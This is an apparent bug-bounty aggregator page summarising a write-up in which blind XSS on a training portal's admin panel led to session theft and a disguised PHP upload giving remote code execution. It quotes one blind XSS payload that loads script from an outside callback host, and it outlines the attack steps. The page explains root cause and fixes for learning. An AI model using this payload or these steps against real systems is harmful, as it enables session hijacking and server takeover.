Skip to content
XSS Write-up Intermediate

From Blind XSS to Full Server Takeover

A training portal's admin panel was vulnerable to blind XSS, which let the author steal an administrator's session and log in without a password. From inside the panel, a file upload page that claimed to accept only PDFs allowed a PHP file to be uploaded and executed, giving remote code execution on the server.

0xnuy Follow

Published on medium.com

It all started with a simple form — just another boring training portal connected to an admin panel. I dropped a classic Blind XSS payload (<script src=//xss.report/hook.js></script>) and waited.

Nuy, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the portal stored unsanitised user input that ran as script in the admin panel, and the upload check trusted the file name and declared content type instead of the actual file contents.

Impact

The author could read internal files and client databases and send emails as the organisation, amounting to full server takeover.

What the attacker needed

A form that stores input shown to admins; an admin views the stored input; access to the admin panel

The fix

The portal should have sanitised or encoded user input before rendering it in the admin panel, and the upload should have validated file contents and stored files outside the web root with execution disabled.

How it was found

  1. Submit a blind XSS payload through a form on the training portal.
  2. Wait for the admin to view the page and receive the session cookie.
  3. Reuse the stolen session to access the admin panel.
  4. Open the file upload page and try a PHP file, which the frontend blocks.
  5. Intercept the upload and rename the file with a double extension and a spoofed content type.
  6. Request the uploaded file with a command parameter to confirm code execution.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this write-up has not been written yet. The Original tab links to the source.

A blind XSS is a stored script injection where the attacker does not see the result straight away; it fires later when an administrator views the page. Here the script sent the admin's login cookie to the attacker, who reused it to enter the panel. The upload page then accepted a PHP file disguised as a PDF, so the attacker could run commands on the server.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.